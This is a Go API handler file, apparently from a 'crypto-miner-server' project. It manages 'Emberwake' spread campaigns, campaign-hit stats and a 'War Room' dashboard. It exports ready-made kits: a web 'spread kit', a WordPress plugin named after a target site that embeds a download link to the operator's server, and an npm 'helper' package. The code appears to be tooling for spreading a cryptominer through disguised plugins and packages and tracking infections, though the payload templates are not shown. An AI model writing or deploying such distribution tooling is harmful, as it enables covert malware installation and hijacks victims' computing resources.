Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
306 lines
8.6 KiB
Go
306 lines
8.6 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
|
type SpreadHandler struct {
|
|
db *dbpkg.Database
|
|
dataDir string
|
|
projectRoot string
|
|
wsHub *WSHub
|
|
notesMu sync.RWMutex
|
|
}
|
|
|
|
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
|
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
|
|
}
|
|
|
|
func (h *SpreadHandler) notesPath() string {
|
|
return filepath.Join(h.dataDir, "emberwake-notes.json")
|
|
}
|
|
|
|
type emberwakeNotes struct {
|
|
Content string `json:"content"`
|
|
UpdatedAt string `json:"updated_at"`
|
|
UpdatedBy string `json:"updated_by"`
|
|
}
|
|
|
|
func (h *SpreadHandler) readNotes() emberwakeNotes {
|
|
h.notesMu.RLock()
|
|
defer h.notesMu.RUnlock()
|
|
data, err := os.ReadFile(h.notesPath())
|
|
if err != nil {
|
|
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
|
|
}
|
|
var n emberwakeNotes
|
|
if json.Unmarshal(data, &n) != nil {
|
|
return emberwakeNotes{}
|
|
}
|
|
return n
|
|
}
|
|
|
|
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
|
|
h.notesMu.Lock()
|
|
defer h.notesMu.Unlock()
|
|
data, err := json.MarshalIndent(n, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(h.notesPath(), data, 0644)
|
|
}
|
|
|
|
// GET /api/v1/emberwake/notes
|
|
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
|
|
writeJSON(w, h.readNotes())
|
|
}
|
|
|
|
// PUT /api/v1/emberwake/notes
|
|
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
|
|
var body struct {
|
|
Content string `json:"content"`
|
|
}
|
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
n := emberwakeNotes{
|
|
Content: body.Content,
|
|
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
|
UpdatedBy: AuthUsername(r),
|
|
}
|
|
if err := h.writeNotes(n); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if h.wsHub != nil {
|
|
h.wsHub.BroadcastEmberwakeNotes(n)
|
|
}
|
|
writeJSON(w, n)
|
|
}
|
|
|
|
// GET /api/v1/emberwake/campaigns
|
|
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
|
|
hits, err := h.db.ListCampaignHits(50)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if hits == nil {
|
|
hits = []dbpkg.CampaignHitSummary{}
|
|
}
|
|
writeJSON(w, map[string]interface{}{"campaigns": hits})
|
|
}
|
|
|
|
// GET /api/v1/emberwake/war-room?days=7
|
|
func (h *SpreadHandler) GetWarRoom(w http.ResponseWriter, r *http.Request) {
|
|
days := 7
|
|
if raw := strings.TrimSpace(r.URL.Query().Get("days")); raw != "" {
|
|
if n, err := strconv.Atoi(raw); err == nil && n > 0 && n <= 90 {
|
|
days = n
|
|
}
|
|
}
|
|
data, err := h.db.ListWarRoom(days)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, data)
|
|
}
|
|
|
|
type spreadKitExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
}
|
|
|
|
type wordpressPluginExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
SiteName string `json:"site_name"`
|
|
}
|
|
|
|
type npmHelperExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
}
|
|
|
|
// POST /api/v1/builder/spread-kit-export
|
|
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadKitExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
|
"{{CAMPAIGN_QUERY}}": querySuffix,
|
|
"{{PIN_QUERY}}": "",
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
|
|
filename := "emberwake-spread-kit.zip"
|
|
if req.Campaign != "" {
|
|
filename = "emberwake-" + sanitizeExportSlug(req.Campaign) + ".zip"
|
|
}
|
|
writeZipAttachment(w, filename, data)
|
|
}
|
|
|
|
// POST /api/v1/builder/wordpress-plugin-export
|
|
func (h *SpreadHandler) ExportWordPressPlugin(w http.ResponseWriter, r *http.Request) {
|
|
var req wordpressPluginExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
req.SiteName = strings.TrimSpace(req.SiteName)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.SiteName == "" {
|
|
http.Error(w, "site_name required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "wordpress-plugin", "plugin-template")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "wordpress plugin templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
slug := sanitizeExportSlug(req.SiteName)
|
|
wpCampaign := "wp-" + slug
|
|
downloadURL := req.ServerURL + "/get?c=" + wpCampaign
|
|
if req.BuildID != "" {
|
|
downloadURL += "&pin=" + req.BuildID
|
|
}
|
|
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": wpCampaign,
|
|
"{{SITE_NAME}}": slug,
|
|
"{{PLUGIN_SLUG}}": slug,
|
|
"{{PLUGIN_NAME}}": slugDisplayName(slug),
|
|
"{{WP_CAMPAIGN}}": wpCampaign,
|
|
"{{DOWNLOAD_URL}}": downloadURL,
|
|
"{{VERSION}}": "1.0.0",
|
|
}
|
|
|
|
remap := func(rel string) string {
|
|
rel = filepath.ToSlash(rel)
|
|
if rel == "plugin.php" {
|
|
return slug + "/" + slug + ".php"
|
|
}
|
|
return slug + "/" + rel
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, remap)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, slug+"-wordpress-plugin.zip", data)
|
|
}
|
|
|
|
// POST /api/v1/builder/npm-helper-export
|
|
func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) {
|
|
var req npmHelperExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Campaign == "" {
|
|
req.Campaign = "npm-helper"
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "npm-helper-package")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "npm helper templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, _ := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
pkgName := "@aetherforge/" + sanitizeExportSlug(req.Campaign) + "-helper"
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{PACKAGE_NAME}}": pkgName,
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
|
|
}
|
|
|
|
// PUT /api/v1/builds/{id}/public
|
|
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
var body struct {
|
|
Public bool `json:"public"`
|
|
}
|
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
|
|
}
|